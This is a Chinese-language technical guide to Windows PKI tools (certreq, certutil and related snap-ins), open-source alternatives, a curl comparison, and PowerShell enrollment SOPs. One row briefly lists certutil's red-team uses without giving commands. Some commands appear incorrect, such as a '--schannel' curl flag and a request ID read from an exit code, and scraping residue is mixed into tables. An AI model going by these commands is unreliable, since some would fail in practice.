Windows PKI 工具集 (certreq/certutil/certoc/certlm.msc/certmgr.msc/CertEnrollCtrl.exe):操作系统 PKI 生命周期工具;管理证书申请、CA 交互、系统证书存储、私钥容器、CRL/OCSP 吊销、CA 数据库运维certreq.exe = 证书注册客户端,管【申请生命周期】
Windows PKI 工具集 开源竞争品 / 替代品完整解构
重要前置边界 Windows 原生 PKI 工具:
certreq.exe certutil.exe certoc.exe certlm.msc certmgr.msc CertEnrollCtrl.exe,深度绑定 Windows CNG/CNG‑KSP 密钥容器、Windows 系统证书存储(HKLM/HKCU 注册表存储)、AD‑CS RPC 协议。 ✅ 开源工具可以完成X.509 证书、CSR、CRL、OCSP、解析、签发绝大多数标准 PKI 能力; ❌ 绝大多数开源工具不能原生读写 Windows 系统证书存储、不能调用 Windows 硬件密钥容器(TPM/KSP)、不能原生调用 AD‑CS RPC 注册协议;只能操作磁盘上 PEM/DER/PFX 文件。
分类:
- CLI 命令行工具(替代 certreq /certutil/certoc)
- GUI 图形工具(替代 certlm.msc/certmgr.msc)
- 完整 PKI/CA 套件(替代整套 AD‑CS 生态)
- ACME 客户端自动化工具(证书生命周期自动申请续期)
一、命令行 CLI 开源替代工具(对标 certreq + certutil + certoc)
| 工具名称 | 开源协议 | 对标 Windows 原生组件 | 核心能力 | 关键边界、依赖、备注 | GitHub / 官方 |
|---|---|---|---|---|---|
| OpenSSL 3.x | Apache‑2.0 | certreq.exe(CSR 生成)、certutil(dump 解析、格式转换)、certoc(吊销校验) | 生成 RSA/ECC/Ed25519 密钥、生成 PKCS#10 CSR;证书 dump 解析;PEM/DER/PKCS12 互转;CRL 生成;证书链验证;OCSP 查询。 | ❌ 不读写 Windows 系统证书存储;密钥输出为磁盘文件,不存入 Windows CNG 密钥容器;无法 RPC 提交 AD‑CS;Windows 需要独立安装,非系统自带。 | openssl.org |
| GnuTLS‑certtool | LGPL | certreq、certutil | 生成密钥、CSR、自签证书、CRL;证书解析;PKCS#12 处理。 | 跨平台;Windows 编译包较少;不感知 Windows 系统证书存储。 | gnutls.org |
| CFSSL(Cloudflare PKI toolkit) | BSD‑2‑Clause | certreq + certutil,轻量 CA 能力 | JSON 配置生成 CSR、证书、根 / 中间 CA;签名 CSR;证书信息 dump;可启动 HTTP CA API 服务;批量自动化友好,Go 静态二进制,Windows 直接运行博客园。 | ❌ 不访问 Windows 系统证书存储;输出全部为磁盘文件;没有 AD‑CS RPC 客户端。 | github.com/cloudflare/cfssl |
| PKI‑Client(pki) | MIT | certreq+certutil+certoc | Rust 单静态二进制;生成 RSA/EC/Ed25519 / 后量子 ML‑DSA 密钥、CSR;完整证书 dump;TLS 探测;OCSP 校验;证书链校验;人类友好输出,无 OpenSSL 依赖GitHub。 | 跨平台,Windows 可用;只操作磁盘证书文件;不读写 Windows 系统存储。 | github.com/rayketcham‑lab/PKI‑Client |
| step‑cli(Smallstep) | Apache‑2.0 | certreq;完整证书生命周期 | 生成 CSR、密钥;和 step‑ca 私有 CA 交互;支持 ACME 协议;静态单二进制,Windows 直接运行。 | 配合 step‑ca 做私有 PKI;不原生读写 Windows 系统证书存储。 | github.com/smallstep/cli |
二、GUI 图形开源工具(对标 certlm.msc/certmgr.msc)
certlm.msc/certmgr.msc 核心价值:浏览、导入导出 Windows 系统 HKLM/HKCU 证书存储;开源 GUI 工具大多只能读取磁盘证书文件,不能直接打开 Windows 系统证书库。
| 工具名称 | 开源协议 | 对标组件 | 核心能力 | 边界 | 仓库 |
|---|---|---|---|---|---|
| XCA (X Certificate and Key management) | GPL‑2.0 | certlm.msc/certmgr.msc(GUI 证书管理,本地小型 CA) | Windows/macOS/Linux 图形界面;生成密钥、CSR;自建根 / 中间 CA;签发证书;CRL 管理;PKCS12 导入导出;SQLite 数据库保存密钥证书;支持 PKCS#11 硬件令牌 (智能卡 / HSM)。 | 不能直接浏览 Windows 系统证书存储;全部导入到 XCA 内部数据库;不能直接写 HKLM\SystemCertificates。 | github.com/chris2511/xca |
| KeyStore Explorer | GPL‑3.0 | certmgr.msc;密钥库管理 | GUI,处理 JKS/PKCS12/PEM;证书查看、CSR 生成;支持 Windows 平台;Java 运行时依赖GitHub。 | 面向 Java 密钥库;不访问 Windows 系统证书存储。 | github.com/kaikramer/keystore‑explorer |
| Certificate‑Store‑Viewer‑Tool | MIT | certlm.msc | Windows 专用,开源,可以直接读取 Windows 系统 LocalMachine/CurrentUser 证书存储,导出 DER/PEM/PFX;只能查看导出,不能导入写入系统存储GitHub。 | 仅 Windows;只读系统证书库;无 CSR/CA 签发能力。 | GitHub 社区项目 |
三、完整开源 CA/PKI 服务套件(对标整套 AD‑CS 后台)
Windows AD‑CS = CA 服务 + 数据库 + RPC 注册接口 + LDAP 模板 + CRL 发布。下面是开源完整私有 CA 替代。
| 套件 | 协议 | 对标 | 说明 |
|---|---|---|---|
| step‑ca (Smallstep) | Apache‑2.0 | AD‑CS 私有 CA 后端 | 现代开源私有 CA;支持 X.509 + SSH 证书;ACMEv2 API;多认证 Provisioner;可替代企业内部 AD‑CS;搭配 step‑cli 客户端;Windows 客户端可以用 step‑cli 申请证书,再手动导入 Windows 系统存储。 |
| Dogtag Certificate System | GPL | AD‑CS 企业级 CA | 红帽开源企业级 PKI,完整 CA 数据库、CRL、OCSP、证书模板、注册代理;主要部署在 Linux;Windows 客户端只能文件方式交互,不兼容 AD‑CS RPC。 |
| CFSSL MultirootCA | BSD‑2 | 轻量私有 CA | Go 开发,HTTP API;适合 DevOps、K8s 内部 PKI;无 GUI 管理界面,全 API/CLI 操作GitHub。 |
四、ACME 自动化客户端(证书自动申请续期,补充 Windows PKI 能力)
AD‑CS 原生不支持 ACME;Windows 原生工具没有 ACME 客户端,全部靠开源补齐。
- lego(Go,Apache‑2.0):跨平台 ACMEv2 客户端,Windows 静态二进制;申请证书,输出 PEM/PFX,之后需要调用
certutil导入 Windows 系统存储。 - Certify‑The‑Web(社区版开源核心):Windows 平台 GUI ACME 客户端;支持 IIS 自动部署;申请完成后可调用 Windows API 写入系统证书存储;商业版有高级功能,社区版开源可用GitHub。
- Posh‑ACME(PowerShell 模块,MIT):Windows PowerShell 原生 ACME;脚本自动化,输出 PFX,配合 certutil 写入机器存储。
五、底层原理|依赖文件|依赖关系|逻辑链路|配套链|边界|自动化流水线
共性底层原理(全部开源 PKI 工具)
- 密码运算:内置 OpenSSL/BoringSSL/ring 密码库;在应用进程内完成密钥生成、签名、ASN.1 编解码。
- 密钥输出:私钥输出为磁盘文件(PEM/PFX);默认不接入 Windows CNG/KSP/TPM 系统密钥容器。
- 证书存储:证书读写操作磁盘文件,不读写 Windows 注册表系统证书存储。
和 Windows 原生工具关键差异总表
| 能力点 | Windows 原生 (certreq/certutil) | 开源 PKI 工具 (OpenSSL/CFSSL/XCA/step‑cli) |
|---|---|---|
| 生成密钥 | 调用 Windows CNG,密钥保存在系统密钥容器(MachineKeys / 用户 Crypto),私钥不落地文件 | 密钥输出磁盘 PEM 文件;部分工具支持 PKCS#11 访问 HSM/TPM,但不是 Windows 原生 CNG |
| Windows 系统证书存储读写 | ✅ 原生读写 HKLM/HKCU SystemCertificates注册表存储 |
❌绝大多数不行;少数工具仅能只读浏览,不能写入;需要导出 PFX 后调用certutil‑importPFX间接写入系统存储 |
| AD‑CS RPC 协议交互 | ✅ certreq 原生 RPC 提交申请到微软 AD‑CS | ❌ 完全不支持;只能输出标准 PKCS#10 .req 文件,通过 certsrv 网页提交给 AD‑CS |
| Windows 硬件安全 (TPM2.0 CNG 容器) | ✅ certreq 可直接把密钥生成到 TPM‑KSP 容器 | 仅支持 PKCS#11 接口,不走 Windows 原生 CNG 栈 |
| 输出格式 | PKCS10、PEM、DER、PFX;适配 Windows 服务 IIS/RDP 直接读取系统存储证书 | PEM/DER/PFX 标准文件;IIS/RDP 不能直接读取磁盘 PEM,必须导入 Windows 系统存储 |
混合自动化流水线(企业实际落地:开源工具 + Windows 原生工具联合)
真实落地范式:开源工具做生成 CSR/CA 签发 → 输出 PFX → certutil.exe 写入 Windows 系统机器存储 PowerShell 示例流水线
#1 step‑cli / cfssl / openssl 开源工具生成密钥+CSR,输出磁盘文件
#2 提交给CA(开源CA/AD‑CS网页接口)获取证书链,输出cert.pem、ca‑chain.pem
#3 开源工具打包为PFX文件
#4 使用Windows原生certutil,把PFX写入LocalMachine系统证书存储
certutil ‑importPFX ‑machine mycert.pfx
六、选型决策矩阵
- Windows 服务器,对接 AD‑CS 域环境:优先原生
certreq/certutil;开源工具只用来做证书解析调试,不要替代注册流程。 - 工作组 Windows、第三方非微软 CA、跨平台自动化:OpenSSL / CFSSL /step‑cli;生成 PFX 后用 certutil 导入系统存储。
- GUI 做小型离线 CA,签发测试证书:XCA。
- 私有自建 CA,替代 AD‑CS 整套服务端:step‑ca / Dogtag。
- ACME 自动证书申请续期 Windows 机器:Posh‑ACME / lego / Certify‑The‑Web。
关键坑点: 很多人直接用 OpenSSL 生成 PEM 私钥证书,试图直接给 IIS 使用,IIS 无法加载磁盘 PEM;必须打包 PFX,再通过 certutil 导入 Windows 机器证书存储,服务才能读取私钥。
curl 与 Windows PKI 全套工具对比解构
核心定位区分
- curl:通用网络传输工具,HTTP/HTTPS 客户端;侧重网络层通信,附带 TLS 证书校验能力;不管理 Windows 系统证书存储。
- Windows PKI 工具集 (certreq/certutil/certoc/certlm.msc/certmgr.msc/CertEnrollCtrl.exe):操作系统 PKI 生命周期工具;管理证书申请、CA 交互、系统证书存储、私钥容器、CRL/OCSP 吊销、CA 数据库运维。
curl 底层 TLS 后端:Windows 平台 curl 存在两种变体
- curl‑schannel:使用 Windows 原生
schannel.dll(系统 TLS 栈,读取 Windows 系统证书存储) - curl‑openssl:使用 OpenSSL 库,完全独立证书库,不读取 Windows 根证书存储
完整对比总表
| 对比维度 | curl (Windows) | Windows PKI 全套工具 (certreq/certutil/certoc 等) |
|---|---|---|
| 核心定位 | 网络传输客户端;HTTP/HTTPS/FTP 等协议访问;附带 TLS 能力 | 操作系统完整 PKI 生命周期管理套件;证书申请、签发交互、私钥、存储、吊销、CA 运维 |
| 主要可执行文件 | curl.exe | certreq.exe、certutil.exe、certoc.exe、certlm.msc、certmgr.msc、CertEnrollCtrl.exe |
| TLS / 证书主要职责 | 1. HTTPS 握手2. 服务端证书校验3. 可携带客户端证书做双向 TLS 认证4. 输出证书链信息 | 1. 生成 CSR (PKCS#10) 证书申请2. 向 AD‑CS CA 提交申请、取回、绑定私钥3. 增删改查 Windows系统证书存储 (CurrentUser/LocalMachine)4. 私钥容器管理、PFX 导入导出、密钥修复5. CRL/OCSP 吊销查询、CA 数据库备份 / 吊销证书 |
| 证书存储来源 | ・curl‑schannel:读取 Windows 系统根证书存储・curl‑openssl:使用独立 ca‑bundle.crt,完全隔离系统存储 | 只读写 Windows 操作系统内置证书存储(注册表 + Crypto 密钥容器,HKCU/HKLM) |
| 私钥处理能力 | ✅ curl‑schannel:可使用系统存储内客户端证书私钥✅ curl‑openssl:只能读取外部 PEM 私钥文件❌ 不能生成密钥对、不能生成 CSR | ✅ 在本机安全密钥容器生成 RSA/ECC 密钥对,私钥不出本机✅ CSR (PKCS10) 生成、签名✅ 私钥与证书绑定、修复密钥关联✅ 机器 / 用户级密钥容器隔离,DPAPI 保护私钥 |
| CA 交互 | ❌ 无法向 CA 提交证书申请;不能处理证书签发流程 | ✅ certreq:提交申请给 AD‑CS、取回已签发证书✅ certutil:CA 数据库查询、吊销、CRL 发布、备份 CA 密钥库 |
| OCSP / 吊销检查 | curl‑schannel:跟随 Windows 系统吊销策略;curl‑openssl:自带独立吊销逻辑 | ✅ certoc.exe 专门 OCSP 调试✅ certutil‑verify 完整证书链 + CRL/OCSP 吊销校验 |
| 证书解析 Dump | curl‑v 输出握手证书信息;仅输出网络拿到的证书 |
✅ certutil‑dump /‑asn 完整 ASN.1 原始结构解析,证书扩展、EKU、密钥用法完整解析 |
| 文件格式支持 | PEM、DER 外部证书文件;pfx 需要外部工具转换 | PEM/DER/PKCS7/PKCS10/PFX;原生导入导出 PFX,支持机器密钥集 |
| AD‑CS 集成 | 无原生集成,仅可作为普通 HTTPS 客户端访问 certsrv 网页 | 深度原生集成 Active Directory 证书服务,读取 AD 证书模板、LDAP 查询、RPC 调用 CA 服务 |
| 适用场景 | 接口测试、HTTPS 连通性调试、下载资源、双向 TLS 访问 Web 服务 | 企业批量证书注册、CA 运维、系统证书部署、私钥故障排查、PKI 合规审计 |
| 自动化流水线 | 脚本做网络访问、TLS 握手验证 | 批量 CSR 生成、CSV 批量证书注册、根证书批量部署、CA 数据库运维脚本 |
| 边界限制 | 1. 不能修改 Windows 系统证书存储2. openssl 版本完全隔离系统根信任3. 不能发起证书申请 CSR | 1. 只处理 Windows 平台 PKI;不做 HTTP 网络请求2. certreq 提交 CA 主要面向微软 AD‑CS,对接第三方 CA 只能输出 CSR 文件 |
底层原理 & 依赖文件拆解
curl (Windows)
- curl‑schannel 版本(Windows10/11 自带)
- 底层原理:调用 Windows
schannel.dll系统 TLS 栈;TLS 握手交给操作系统组件。 - 依赖文件:
curl.exe+schannel.dll+crypt32.dll - 逻辑链路:curl.exe → schannel.dll → 读取 Windows 系统根证书存储 → TLS 握手;可选择系统内客户端证书做双向认证。
- 边界:不会修改任何系统证书存储,只读。
- 底层原理:调用 Windows
- curl‑openssl 版本 (第三方编译)
- 底层原理:内置 OpenSSL 密码库,完全独立 TLS 实现。
- 依赖文件:
curl.exe+libssl.dll+libcrypto.dll+ca‑bundle.crt - 边界:完全不感知 Windows 系统证书存储,信任根来自外部 crt 文件。
Windows PKI 工具集
前文完整解构,简单回顾链路:
certreq.exe → crypt32.dll/certcli.dll → CryptSvc 服务 → 本机密钥容器生成密钥 → RPC/LDAP 访问 AD‑CS CA → certreq Accept 写入系统证书存储;certutil 负责 CA 管理、存储维护、解析。
典型联合使用逻辑(企业运维真实流水线)
完整业务场景:申请机器证书 → 安装到系统存储 → curl‑schannel 使用该证书做双向 TLS 访问业务接口
certreq.exe:生成 CSR、提交 AD‑CS,签发证书写入 LocalMachine\My 系统证书存储(带受保护私钥)certutil.exe:校验证书、部署根证书到系统受信任根存储curl.exe --cert <证书指纹> --schannel https://target-api- curl‑schannel 读取 Windows 系统存储中的客户端证书,完成双向 TLS HTTPS 调用
脚本示例
#1 certreq完成机器证书注册(Windows PKI工具)
certreq -Enroll -machine -q "WebServer"
#2 certutil校验证书是否正确写入系统存储
certutil -store My
#3 curl schannel 使用系统存储内证书,双向TLS访问接口
curl.exe --cert "00aa11bb22cc" --schannel -v https://api.contoso.local
高频易错坑点
- ❌ 混淆:想用 curl 生成证书申请 CSR → curl做不到,必须用 certreq.exe。
- ❌ curl‑openssl 版本,即使 Windows 系统已经导入根证书,HTTPS 依然报证书不信任;因为 OpenSSL 不读 Windows 系统存储,需要提供独立 ca‑bundle。
- ❌ certreq/certutil 只操作 Windows 系统证书存储;curl‑openssl 看不到里面的证书和私钥。
- ✅ 双向 TLS 客户端证书:curl‑schannel 可以直接使用系统存储证书指纹;curl‑openssl 必须导出 PEM 私钥 + 证书文件。
分工速记口诀
- 网络访问、HTTPS 握手、调用接口 → curl.exe
- 生成 CSR、向 CA 申请证书、管理 Windows 系统证书 / 私钥 / CA 运维 → Windows PKI 工具 (certreq /certutil/certoc)
- 双向 TLS 联合:certreq 把证书部署进系统存储,curl‑schannel 读取系统存储证书完成网络请求
一、certutil.exe
1. 名称词源拆解(非缩写,拼接合成词)
cert = certificate(证书)
util = utility(工具、实用程序)
2. 微软官方标准完整描述(Microsoft Learn 原文)
Certutil.exe is a command-line program installed as part of Certificate Services.完整正式英文称谓:Certificate Services Utility中文标准译名:证书服务管理工具
3. 核心作用
二、certreq.exe
1. 名称词源拆解(非缩写,拼接合成词)
cert = certificate(证书)
req = request(请求)
2. 微软官方标准完整描述(Microsoft Learn 原文)
The certreq command can be used to request certificates from a certification authority (CA).完整正式英文称谓:Certificate Request Tool中文标准译名:证书申请工具
3. 核心作用
补充关键说明
- 二者都不是英文缩写,不存在 “字母对应长单词” 的完整缩写全称,只是专业术语简写拼接;
- 微软文档内无单独定义 “全称缩写”,仅通过功能描述给出完整书面名称;
- 程序本体文件名:
certutil.exe/certreq.exe,内置在 Windows 所有带证书服务的系统中。
certreq.exe VS certutil.exe 完整分工对比总表
定位总结: certreq.exe = 证书注册客户端,管【申请生命周期】生成请求、提交 CA、取回、绑定私钥安装证书 certutil.exe = CA 管理 + 证书存储工具,管【CA 服务器运维、数据库、存储、编码解析、吊销备份】
| 对比项 | certreq.exe | certutil.exe |
|---|---|---|
| 核心定位 | 证书申请客户端流水线工具 | CA 管理 + 证书存储通用工具集 |
| 主要工作域 | PKCS#10 申请全生命周期:New‑Submit‑Retrieve‑Accept‑Enroll | CA 数据库、CRL、吊销、备份还原、存储维护、ASN1 解析、Base64 编解码 |
| 典型输入 | .inf策略模板文件;.req(PKCS10) 申请文件;CA 模板名称 |
.cer/.crt/.pfx/.crl/.sst证书 / 吊销列表文件 |
| 私钥行为 | 本地生成密钥对;私钥不出本机;负责证书与私钥配对绑定 | 不生成私钥;可导入导出 PFX、修复密钥关联、备份 CA 私钥 |
| AD‑CS 交互动词 | -New /‑Submit /‑Retrieve /‑Accept /‑Enroll /‑Sign | ‑revoke /‑backup /‑restore /‑CRL /‑deny /‑view /‑db /‑isvalid |
| 证书存储操作 | 仅‑Accept 写入存储;不做删除、枚举、导出存储 | ‑addstore /‑delstore /‑store /‑repairstore /‑importPFX 完整存储管理 |
| 编解码、ASN 解析 | 无能力,不处理原始文件解析 | ‑dump /‑asn /‑encode /‑decode /‑dumpPFX |
| 模板能力 | ‑Enroll直接使用 AD 证书模板一键注册;读取 inf 自定义申请 |
‑ADTemplate /‑Template查询模板信息,不能发起证书申请 |
| 注册代理 | ‑Sign对申请文件做代理签名 |
无代理签名能力 |
| 工作组可用 | ✅ -New模式工作组可用,生成标准 PKCS10;‑Enroll需要域 |
✅ 绝大多数本地命令工作组可用;AD/LDAP 动词需要域环境 |
| 依赖核心 DLL | certcli.dll crypt32.dll |
certadm.dll crypt32.dll |
| 适用角色 | 终端服务器、客户端机器,向 CA 发起申请的一方 | CA 服务器运维人员,管理 CA 数据库、吊销、备份;本机证书排错 |
| 红队 / 攻击面 | 生成证书申请、向 CA 提交请求 | 解码 payload、导出证书、修复密钥、CA 吊销、备份 CA 密钥;历史版本支持文件下载 |
联合使用范式(企业标准)
certreq:生成申请、提交 CA、取回、安装到本机存储certutil:查看 CA 信息、查询申请 ID、吊销证书、备份 CA、解析证书、批量导入根证书
企业批量证书注册自动化 SOP
适用场景
域内 Windows 服务器批量申请计算机证书(Web 服务器、域控、RDP、IPSec);支持两种模式:
- 模式 A:AD 模板一键 Enroll(域环境首选,无 req 中间文件)
- 模式 B:INF 策略模板 New‑Submit‑Retrieve‑Accept(支持工作组、自定义证书扩展)
前置依赖
- AD‑CS 证书服务正常运行;CA 模板权限已放开对应计算机 / 域计算机组注册权限
- 目标机器已加域;执行脚本账户:本地管理员;网络放行 CA RPC(135 + 动态端口)或者 HTTP 注册接口
- 获取 CA 配置字符串:在任意域机器执行
certutil -getconfig
输出示例:CA01\CONTOSO‑ROOTCA,脚本中使用该字符串。
SOP‑A 域环境批量注册(‑Enroll,推荐)
1 前置检查(单台测试)
# 查询CA模板是否可见
certutil -ADTemplate
# 单台机器测试注册WebServer模板计算机证书
certreq -Enroll -machine -q "WebServer"
if ($LASTEXITCODE -ne 0) { throw "证书注册失败" }
# 验证是否写入本地计算机存储
certutil -store My
2 批量脚本:域多台远程服务器批量注册(WinRM)
需要目标机器开启 WinRM,管理员权限,网络 5985 放行
$CAName = "CA01\CONTOSO‑ROOTCA"
$TemplateName = "WebServer"
$servers = @("WEB01","WEB02","WEB03")
foreach($srv in $servers){
Invoke‑Command -ComputerName $srv -ScriptBlock {
param($tpl)
certreq -Enroll -machine -q $tpl
if($LASTEXITCODE -eq 0){
Write‑Output "$env:COMPUTERNAME 证书注册成功"
}else{
Write‑Error "$env:COMPUTERNAME 注册失败,exitcode $LASTEXITCODE"
}
} -ArgumentList $TemplateName
}
3 自动续期
AD 组策略开启「自动证书注册」,底层调用 certcli.dll;到期自动续期,无需脚本干预。
SOP‑B INF 策略文件流水线(工作组 / 自定义扩展场景)
完整流水线:
‑New → ‑Submit →(审批等待)→‑Retrieve →‑Accept
步骤 1 编写通用 inf 模板 machine_cert.inf
[NewRequest]
Subject = "CN=SERVER01.contoso.com"
KeySpec = 1
KeyLength = 2048
Exportable = TRUE
MachineKeySet = TRUE
SMIME = FALSE
PrivateKeyArchive = FALSE
UserProtected = FALSE
UseExistingKeySet = FALSE
ProviderName = "Microsoft RSA SChannel Cryptographic Provider"
ProviderType = 12
RequestType = PKCS10
KeyUsage = 0xa0
[Extensions]
2.5.29.37 = "{text}"
_continue_ = "1.3.6.1.5.5.7.3.1&" ;服务器身份验证
步骤 2 单节点自动化脚本
$CAName="CA01\CONTOSO‑ROOTCA"
$infFile="machine_cert.inf"
$reqFile="node01.req"
$cerOut="node01.cer"
#1 生成机器级PKCS10申请
certreq -New -machine $infFile $reqFile
if($LASTEXITCODE -ne 0){throw "生成申请失败"}
#2 提交CA
certreq -Submit -config $CAName $reqFile $cerOut
$reqId=$LASTEXITCODE
if($reqId -ge 1){
Write‑Host "申请进入挂起审批,RequestID=$reqId,等待CA管理员审批"
Write‑Host "审批完成后执行:certreq -Retrieve -config $CAName $reqId $cerOut"
}else{
Write‑Host "CA直接签发,执行Accept安装证书"
certreq -Accept -machine $cerOut
certutil -store My
}
挂起审批后取回命令示例
certreq -Retrieve -config "CA01\CONTOSO‑ROOTCA" 1234 node01.cer
certreq -Accept -machine node01.cer
步骤 3 批量多主机场景处理要点
- 每台主机必须本机执行‑New,私钥生成本机密钥容器;不能 A 机器生成 req 拷贝到 B 机器 Accept。
- 可以通过模板变量,每台主机修改 inf 的 Subject,循环执行。
- 所有 req 集中提交 CA;记录每台主机对应 RequestID,审批完成后远程 Retrieve+Accept。
SOP‑C 配套运维与校验流水线(certutil 承担)
注册完成之后使用 certutil 做批量校验、导出、根证书部署:
#1 批量导入根证书到计算机根存储(所有机器执行)
certutil -addstore Root rootca.cer
#2 本地查看My存储计算机证书
certutil -store My
#3 解析证书文本,导出报告
certutil -dump node01.cer >> cert_report.txt
#4 CA服务器查询挂起申请、查看数据库
certutil -view -out "RequestID,RequesterName,Status"
#5 证书吊销(CA服务器执行)
certutil -revoke <证书序列号>
故障排查清单
| 现象 | 根因 | 工具定位 |
|---|---|---|
| certreq‑Enroll 返回错误 | 机器无模板注册权限、网络不通 CA、模板需要审批 | certutil -ping、检查 AD 模板安全权限 |
| ‑Accept 报错找不到私钥 | cer 文件拷贝到别的机器执行 Accept;私钥在生成 req 的原始机器 | 必须在生成‑New 的本机 Accept |
| 提交 CA 返回拒绝 | 模板没有开启注册代理;或者账号无注册权限 | CA 侧 certsrv.msc 查看申请失败日志 |
| 机器证书安装完成,服务无法读取私钥 | 缺少‑machine参数,证书装到当前用户存储而非计算机存储 |
重新执行,增加‑machine参数;certutil‑store My 确认存储位置 |
安全边界注意事项
‑machine参数:申请计算机服务证书必须带上,否则密钥进入用户容器,IIS、RDP 等服务读不到私钥。- 挂起申请一定要记录 RequestID;丢失 RequestID 只能在 CA 服务器通过
certutil‑view查询数据库找回。 - INF 模板中
MachineKeySet=TRUE代表机器密钥,对应‑machine参数。 - 批量脚本建议开启静默
‑q,避免弹窗阻断自动化。

CertUtil.exe 完整解构(Windows 证书服务命令行工具)
程序路径:
C:\Windows\System32\certutil.exe;属于 Active Directory 证书服务 (AD‑CS) 配套命令行,同时兼顾本地证书存储、ASN.1 解析、Base64 编解码、CT 日志、PFX 处理;截图为certutil -?全部动词帮助输出。
一、底层原理
certutil.exe 是多模式封装命令行前端程序,本身极少实现密码学底层算法,主要作为调度外壳,调用系统加密 API、AD‑CS 服务 RPC 接口、证书存储 API 完成各类操作。 分为五大能力域:
- 本地证书存储操作:操作系统证书库(MY/Root/CA/TrustedPublisher 等),封装
Crypt32.dllWin32 证书加密 API;读写本地注册表 + 文件证书存储。 - AD‑CS 证书颁发机构 CA 操作:通过RPC连接域内 CA 服务 (
certsvc.exe),执行证书申请、吊销、CRL 发布、备份还原数据库。 - 编码解析工具集:ASN.1 解析、Base64 / 十六进制编解码、PFX 转换;调用
crypt32.dll、asn1.dll。 - AD 域交互:读取 AD 内证书模板、发布证书 / CRL 到 Active Directory LDAP。
- 现代增强能力(Win10/Server2016+):证书透明度 CT、SCT 验证、SST 生成、ECC 曲线管理、HPKP 生成、Windows Update 根证书同步。
工作模式区分
- 本地模式:不访问网络,仅操作本机证书存储、本地文件;普通用户大部分本地查询可用,修改存储需要管理员。
- CA 远程模式:RPC 访问目标机器
certsvc服务,需要CA 管理员权限,依赖域环境、AD‑CS 角色安装。
二、依赖文件
| 文件 | 角色 |
|---|---|
certutil.exe |
主可执行程序,命令行解析、动词调度外壳 |
crypt32.dll |
核心加密证书 API;证书存储、PFX、CRL、证书链验证全部底层实现 |
asn1.dll |
ASN.1 DER 编码解析,‑asn动词依赖 |
certadm.dll |
AD‑CS CA 管理 RPC 客户端;CA 备份、恢复、数据库操作 |
certcli.dll |
证书申请客户端 API;提交申请、挂起申请处理 |
advapi32.dll |
注册表读写,机器 / 用户证书存储底层注册表操作 |
ws2_32.dll |
网络:WU 同步根证书、下载 OCSP、CT 日志查询 |
ldap32.dll |
AD LDAP 访问;发布证书、读取证书模板、AD 对象查询 |
rpcrt4.dll |
RPC 运行库,和远程 CA 服务通信 |
cryptnet.dll |
证书网络检索:CRL、AIA、OCSP 拉取 |
系统服务依赖:
- CertSvc(Certificate Services):目标 CA 服务器上的证书服务,远程 certutil 通过 RPC 调用此服务。
- CryptSvc(加密服务):本机证书存储维护服务;读写本地证书库依赖。
注册表存储位置:
- 用户证书存储:
HKCU\Software\Microsoft\SystemCertificates - 计算机机器证书存储:
HKLM\Software\Microsoft\SystemCertificates;对应物理目录%SystemRoot%\System32\CertSrv(CA 数据库);%ProgramData%\Microsoft\Crypto密钥容器。
三、依赖关系
- 权限分层
- 普通用户:可以执行查询、dump 解析文件、解码、查看本地用户证书存储;不能修改机器证书存储、不能操作 CA 服务。
- 本地管理员:读写计算机本地机器证书存储;
- CA 管理员:才可以执行
‑revoke吊销证书、‑backup备份 CA 数据库、‑CRL发布 CRL 这类 CA 操作。
- 网络依赖
- CA 操作:目标服务器RPC 端口 135 + CA 动态 RPC 端口;防火墙放行;目标服务器
CertSvc服务运行。 ‑syncWithWU同步根证书:需要访问 Windows Update 互联网网络。- CT、OCSP 下载动词:需要外网访问对应日志服务器。
- CA 操作:目标服务器RPC 端口 135 + CA 动态 RPC 端口;防火墙放行;目标服务器
- 域依赖
-ADTemplate、‑dsPublish、‑pingadmin等 AD 相关动词,需要域环境,加入域机器;工作组机器该类动词报错。 - 版本差异边界
- Server2008:缺少 CT、SST、ECC 曲线、HPKP 相关动词;
- Win10 1709 / Server2016 之后完整支持截图中全部现代动词。
- 密钥依赖:PFX 导入导出依赖机器 / 用户 Crypto 密钥容器,受 DPAPI 保护。
四、逻辑链路
链路 A:本地文件解析动词(certutil ‑dump xxx.cer)
certutil.exe → 解析命令行动词‑dump → 调用 crypt32.dll 加载证书文件DER/PEM → asn1.dll解析ASN.1结构 → 格式化文本输出控制台
链路 B:本地机器证书存储操作(‑addstore / ‑delstore)
certutil.exe → crypt32 CertOpenSystemStore API → 读写 HKLM\SystemCertificates注册表存储 → CryptSvc服务接收变更通知
链路 C:AD‑CS CA 远程操作(‑revoke / ‑backup)
certutil.exe → certadm.dll / certcli.dll → RPCRT4 RPC客户端 → 网络RPC到CA服务器135端口 → CA服务器 certsvc.exe(证书服务)
↓
certsvc读写本地CA数据库(CertSrv.edb Jet数据库) → 返回结果通过RPC回传给客户端certutil输出
链路 D:AD LDAP 操作(‑dsPublish)
certutil.exe → ldap32.dll → LDAP绑定域控 → 修改AD对象,发布证书/CRL到Active Directory
关键:certutil 本身不实现加密算法,全部交由系统 Crypto API;它只是命令行调度器。
五、配套链
- 图形界面对应工具
certmgr.msc:本地证书管理 MMC;certutil 是它的命令行等价。certsrv.msc:AD‑CS 证书颁发机构 MMC 控制台;CA 管理动词对应此 GUI。
- 配套文件格式:
.cer/.crt(DER/PEM 证书)、.pfx/.p12带私钥证书包、.crl证书吊销列表、.sst微软证书存储包。 - 配套 PowerShell:
PKI模块Get‑ChildItem Cert:\;很多场景等价 certutil。 - 组策略:公钥策略,部署根证书;certutil 常配合组策略开机脚本批量导入根证书。
- CA 数据库文件:
CertSrv.edb(Jet Blue 数据库),CA 备份还原动词直接操作此数据库。
高频经典动词对照表
| 动词 | 功能简述 |
|---|---|
‑dump |
解析打印证书、CRL、PFX ASN.1 结构,最常用 |
‑encode / ‑decode |
Base64 编码解码 |
‑‑addstore Root xxx.cer |
把证书导入机器根存储(管理员) |
‑‑delstore Root thumbprint |
删除存储内证书 |
‑‑syncWithWU |
从 WU 下载微软受信任根证书集合 |
‑‑revoke |
CA 吊销证书(CA 管理员) |
‑‑backup |
完整备份 CA 数据库、私钥、证书 |
‑‑dsPublish |
发布证书到 AD |
‑‑asn |
原始 ASN.1 解析 |
六、边界 & 坑点
- 机器存储必须管理员权限;普通用户执行
‑addstore Root直接拒绝;HKLM 存储和 HKCU 用户存储严格隔离。 - CA 远程操作:RPC 动态端口,防火墙容易拦截;工作组环境无法执行 AD 相关动词。
- PFX 导入:私钥受 DPAPI 保护;导入机器存储私钥会绑定本机 DPAPI;备份出来的 PFX 在其他机器导入不能直接解密原机器密钥。
